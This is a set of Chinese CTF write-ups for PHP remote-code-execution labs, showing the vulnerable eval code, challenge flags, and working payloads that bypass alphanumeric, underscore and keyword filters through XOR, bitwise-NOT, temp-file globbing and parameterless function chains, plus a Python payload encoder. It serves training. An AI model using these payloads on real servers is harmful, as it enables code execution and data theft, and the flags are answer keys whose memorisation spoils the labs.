[题目信息]:
题目名称 | 题目难度 |
---|---|
有回显代码执行-无字母数字RCE进阶PHP5 | 3 |
[题目考点]:
远程命令执行漏洞,用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令,可能会允许攻击者通过改变 $PATH 或程序执行环境的其他方面来执行一个恶意构造的代码。
以下是可能会造成任意命令执行的函数
system|passthru|exec|popen|proc_open|move_uploaded_file|eval|copy|shell_exec|assert
[Flag格式]:
SangFor{1o4rk7tGBo-2u9G_IRGTJC73hptLqXtu}
[环境部署]:
docker-compose.yml文件或者docker tar原始文件。
http://分配ip:5015
[题目writeup]:
正在上传…重新上传取消
python dirsearch.py -u http://分配ip/ -e php -t 20
flag.php文件存在。
<?php
if(isset($_GET['code'])){
$code = $_GET['code'];
if(strlen($code)>35){
die("Long.");
}
if(preg_match("/[A-Za-z0-9_$]+/",$code)){
die("NO.");
}
eval($code);
}else{
highlight_file(__FILE__);
}
php5环境并不支持php代码(‘phpinfo’)();的执行方式。
- 通过向任意php文件发送数据包,产生临时文件;
- linux系统中可以通过”. /xxx“执行任意脚本;
- 闭合PHP文件,反引号执行代码绕过任意字符和数字;?><?=``?>
- 通过通配符?匹配php缓存文件;
那么这样,即可以在同一次请求过程中产生缓存文件,并执行脚本。
给PHP发送POST数据包时,如果数据包里包含文件区块,无论你访问的代码中有没有处理文件上传的逻辑,PHP都会将这个文件保存成一个临时文件(通常是/tmp/php[6个随机字符]
),文件名可以在$_FILES
变量中找到。这个临时文件,在请求结束后就会被删除。
import requests
url = "http://192.168.25.6:5015/index.php"
data = None
files = {
"field1" : ("png", open("C:/Users/czy/Desktop/xxx.png", "rb")),
}
proxies = {
"http" : "http://localhost:8080"
}
r = requests.post(url, data, files=files,proxies=proxies)
该python脚本通过8080端口代理向PHP发送文件;使用burp截断获取上传文件数据包;
- .号在linux下可以执行任意文件,例如 “. /tmp/1.sh”,不需要文件有可执行权限
- 向任意的php文件上传文件,默认会在tmp目录下生成临时文件,格式为phpxxxxxx,后6位为任意随机字母
- Linux下的glob通配符,*可以代替0个及以上任意字符,?可以代表1个任意字符
现在,我们的目标就很明确,在上传任意文件的同时,使用通配符匹配生成的缓存文件,并用点号执行。
/???/???去匹配/tmp/phpxxxxxx文件。
够匹配上/???/?????????
这个通配符的文件有很多;
在linux下的通配符支持正则匹配,所有文件名都是小写,只有PHP生成的临时文件包含大写字母。
翻开ascii码表,可见大写字母位于@
与[
之间:
我们可以利用[@-[]
来表示大写字母:
payload:
?code=?><?=`.+/???/???????[%40-[]?`;?>
在本题目环境实际使用的过程中,直接 <?=
还是不够的,需要先?>
把前面的 <?php
给闭合掉才可以:
?cmd=?><?=`ls`;
最后将payload的关键字符进行url编码;
[题目信息]:
题目名称 | 题目难度 |
---|---|
有回显代码执行-无字母数字RCE | 2 |
[题目考点]:
远程命令执行漏洞,用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令,可能会允许攻击者通过改变 $PATH 或程序执行环境的其他方面来执行一个恶意构造的代码。
以下是可能会造成任意命令执行的函数
system|passthru|exec|popen|proc_open|move_uploaded_file|eval|copy|shell_exec|assert
[Flag格式]:
SangFor{OfabB_RclyShHwXmDu-i1rK9JeYbyUdU}
[环境部署]:
docker-compose.yml文件或者docker tar原始文件。
http://分配ip:5013
[题目writeup]:
1、实验主页
2、使用dirsearch扫描网站目录
python dirsearch.py -u http://分配ip/ -e php -t 20
flag.php文件存在。
3、代码分析
<?php
if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) {
eval($_GET['shell']);
show_source(__FILE__);
}
正则表达式如果匹配到数字和字母即不会进入if函数,执行eval();
既然不允许传入参数中出现字母和数字,那解题思路需要用非数字或者字母表示字母;
- 异或
- 取反
- %ff取反
可以采用以上三种方式进行绕过;
异或payload:
我们想要得到a-z中某个字母,就找到某两个非字母、数字的字符,他们的异或结果是这个字母即可
例如,我们想执行phpinfo();
?shell=$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); $__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']');$___=$$__;$_($___[_]);
<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`');
#$_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']');
#$__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);
取反payload:
取反就是将数字转化为二进制,再把二进制中的1变成0,0变成1
通过取出UTF-8编码的汉字的某一位进行取反操作,比如'和'{2}
的结果是"\x8c"
,其取反即为字母s
:进行取反即为字母’s’;
?shell=$__=('>'>'<')%2b('>'>'<');$_=$__/$__;$____='';$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});
$_=$$_____;$____($_[$__]);
0XFF:
任何字符与 0xff 异或都会取相反,这样就能减少运算量了。 PHP 的 use of undefined constant 特性。例如${_GET}{a}这样的语句 PHP 是不会判为错误的,因为{}是用来界定变量的,这句话就是会将_GET自动看为字符串,也就是$_GET['a']。${_GET}{%ff}后面那个()为的是能够动态执行传入的 PHP 函数
${~%A0%B8%BA%AB}{%ff}();&%ff=phpinfo
${~%A0%B8%BA%AB}{%ff}(~%88%97%90%9E%92%96);&%ff=system
~%A0%B8%BA%AB <==> _GET
~%88%97%90%9E%92%96 <==> whoami 的取反
payload脚本:
code = input("请输入命令:")
hexCode = [hex(ord(i)^0xff) for i in code]
result = "".join(hexCode).replace('0x','%')
print("${~%A0%B8%BA%AB}{%ff}(~"+result+");&%ff=system")
[题目信息]:
题目名称 | 题目难度 |
---|---|
有回显代码执行-无字母数字RCE进阶 | 3 |
[题目考点]:
远程命令执行漏洞,用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令,可能会允许攻击者通过改变 $PATH 或程序执行环境的其他方面来执行一个恶意构造的代码。
以下是可能会造成任意命令执行的函数
system|passthru|exec|popen|proc_open|move_uploaded_file|eval|copy|shell_exec|assert
[Flag格式]:
SangFor{0ozX7FNlCZV5XG82d_PWOOMhMl-8FxFE}
[环境部署]:
docker-compose.yml文件或者docker tar原始文件。
http://分配ip:5014
[题目writeup]:
1、实验主页
2、使用dirsearch扫描网站目录
python dirsearch.py -u http://分配ip/ -e php -t 20
flag.php文件存在。
3、代码分析
<?php
if(isset($_GET['code'])){
$code = $_GET['code'];
if(strlen($code)>35){
die("Long.");
}
if(preg_match("/[A-Za-z0-9_$]+/",$code)){
die("NO.");
}
eval($code);
}else{
highlight_file(__FILE__);
}
与上一题目不同之处在与,该题目在数字和字母的基础上又过滤了‘_’和‘$’符号;
无法使用上一题目payload中的$符号;
PHP7前是不允许用($a)();
这样的方法来执行动态函数的,但PHP7中增加了对此的支持。所以,我们可以通过('phpinfo')();
来执行函数,第一个括号中可以是任意PHP表达式。
使用该脚本获取取反字符
code = input("请输入命令:")
hexCode = [hex(ord(i) ^ 0xff) for i in code]
result = "".join(hexCode).replace('0x', '%')
print("~"+result)
payload
?code=(~%8f%97%8f%96%91%99%90)();
?code=(~%8c%86%8c%8b%9a%92)(~%88%97%90%9e%92%96);
[题目信息]:
题目名称 | 题目难度 |
---|---|
有回显代码执行-无参数RCE | 3 |
[题目考点]:
远程命令执行漏洞,用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令,可能会允许攻击者通过改变 $PATH 或程序执行环境的其他方面来执行一个恶意构造的代码。
以下是可能会造成任意命令执行的函数
system|passthru|exec|popen|proc_open|move_uploaded_file|eval|copy|shell_exec|assert
[Flag格式]:
SangFor{Ah-w-9nngLv5ca145ia6rdPL4dkztlDP}
[环境部署]:
docker-compose.yml文件或者docker tar原始文件。
http://分配ip:5012
[题目writeup]:
1、实验主页
2、使用dirsearch扫描网站目录
python dirsearch.py -u http://分配ip/ -e php -t 20
flag.php文件存在。
3、代码分析
<?php
if (';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);
}
show_source(__FILE__);
preg_replace正则替换函数
字符 | 行为 | 示例 |
---|---|---|
? | 零次或一次匹配前面的字符或子表达式,等效于{0,1} 当 ? 紧随任何其他限定符(*、+、?、{n}、{n,} 或 {n,m})之后时,匹配模式是非贪婪的。非贪婪模式匹配搜索到的、尽可能少的字符串,而默认的贪婪模式匹配搜索到的、尽可能多的字符串 | zo? 与“z”和“zo”匹配,但与“zoo”不匹配 o+? 只与“oooo”中的单个“o”匹配,而 o+ 与所有“o”匹配 do(es)? 与“do”或“does”中的“do”匹配 |
^ | 匹配搜索字符串开始的位置。如果标志中包括 m(多行搜索)字符,^ 还将匹配 \n 或 \r 后面的位置。如果将 ^ 用作括号表达式中的第一个字符,就会对字符集取反 | ^\d{3} 与搜索字符串开始处的 3 个字符匹配 [^abc] 与除 a、b、c 以外的任何字符匹配 |
\W | 与除 A-Z、a-z、0-9 和下划线以外的任意字符匹配,等效于[^A-Za-z0-9] | 在搜索字符串“The quick brown fox…”中,\W+ 与“…”和所有空格匹配 |
/[^\W]+\((?R)?\)/
(?R) matches the entire pattern
? matches the previous token between zero and one times, as many times as possible。
该正则表达式会匹配无参数的函数,以及无参数函数中嵌套多个无参数函数;
';' === preg_replace('/[^\W]+\((?R)?\)/'
匹配过后,会将匹配内容替换为空,由于是代码执行,传入的值最后会以分号“;”结束,因此当分号===分号时进入eval函数。
?code=phpinfo();可以执行,符合正则匹配,但无法获取flag值;
【payload】
常用无参数函数
getallheaders() #获取全部 HTTP 请求头信息
get_defined_vars() #返回由所有已定义变量所组成的数组
getenv() #获取一个环境变量的值 (在PHP7.1之后可以不给予参数)
session_id() # 获取/设置当前会话 ID
getcwd() #取得当前工作目录
dirname() #返回路径中的目录部分
chdir() #改变目录
数组函数
end() - 将内部指针指向数组中的最后一个元素,并输出;
next() - 将内部指针指向数组中的下一个元素,并输出;
prev() - 将内部指针指向数组中的上一个元素,并输出;
reset() - 将内部指针指向数组中的第一个元素,并输出;
each() - 返回当前元素的键名和键值,并将内部指针向前移动;
current() -输出数组中的当前元素的值;
1、?code=eval(end(current(get_defined_vars())));&czy=system('tac%09flag.php');
2、eval(next(getallheaders()));
3、eval(hex2bin(session_id(session_start())));
706870696e666f28293b #phpinfo();的16进制
其他目录操作
- getchwd() :函数返回当前工作目录。
- scandir() :函数返回指定目录中的文件和目录的数组。
- dirname() :函数返回路径中的目录部分。
- chdir() :函数改变当前的目录。
print_r(scandir(dirname(getcwd()))); //查看上一级目录的文件
print_r(scandir(next(scandir(getcwd())))); //查看上一级目录的文件
show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd()))))))); //读取上级目录文件
show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(getcwd())))))))))));//读取上级目录文件
show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion())))))))))))))));//读取上级目录文件
show_source(array_rand(array_flip(scandir(chr(current(localtime(time(chdir(next(scandir(current(localeconv()))))))))))));//这个得爆破,不然手动要刷新很久,如果文件是正数或倒数第一个第二个最好不过了,直接定位
print_r(scandir(chr(ord(strrev(crypt(serialize(array()))))))); //查看和读取根目录文件
if(chdir(chr(ord(strrev(crypt(serialize(array())))))))print_r(scandir(getcwd())); //查看和读取根目录文件
[题目信息]:
题目名称 | 题目难度 |
---|---|
有回显代码执行-flag关键字绕过 | 1 |
[题目考点]:
远程命令执行漏洞,用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令,可能会允许攻击者通过改变 $PATH 或程序执行环境的其他方面来执行一个恶意构造的代码。
以下是可能会造成任意命令执行的函数
system|passthru|exec|popen|proc_open|move_uploaded_file|eval|copy|shell_exec|assert
[Flag格式]:
SangFor{-t9eBjeAe255gHemgxAgKZsNmJL6YsIy}
[环境部署]:
docker-compose.yml文件或者docker tar原始文件。
http://分配ip:5006
[题目writeup]:
1、实验主页
2、使用dirsearch扫描网站目录
python dirsearch.py -u http://分配ip/ -e php -t 20
3、扫描到文件flag.php,通过代码内容获取flag.php中的内容;
<?PHP
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c); #1
}
}else{
highlight_file(FILE);
}
?>
#1处,主要与上一道题目不同之处,调用php eval函数而不是system函数;
eval — 把字符串作为PHP代码执行;
例如:eval(‘system(“ls”);’);
填入的内容:?c=system(“ls”);
最后分号满足php代码格式;
可以利用上题中的各种方式尝试绕过;
【payload】
?c=system("cat /fla'g'");